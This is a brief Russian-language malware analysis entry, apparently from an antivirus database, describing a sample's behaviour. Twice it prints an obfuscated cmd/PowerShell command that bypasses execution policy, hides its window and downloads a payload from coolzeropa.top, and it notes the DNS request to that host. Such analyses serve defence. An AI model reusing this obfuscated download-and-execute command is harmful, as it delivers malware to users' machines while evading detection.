Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^wERSH^EL^l^.^e^x^e ^-E^X^ECUtI^onPol^iCy ^B^YpAs^S -^nop^r^OFIlE -w^I^NDo^wstYle^ HId^Den (New^-^oBJ^E^c^T sY^St^E^M^.net.^WEBc^lI^e^nT).d^OW^nl^oaDF^i^Le('http://coo...
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^wERSH^EL^l^.^e^x^e ^-E^X^ECUtI^onPol^iCy ^B^YpAs^S -^nop^r^OFIlE -w^I^NDo^wstYle^ HId^Den (New^-^oBJ^E^c^T sY^St^E^M^.net.^WEBc^lI^e^nT).d^OW^nl^oaDF^i^Le('http://coo...' (со скрытым окном)
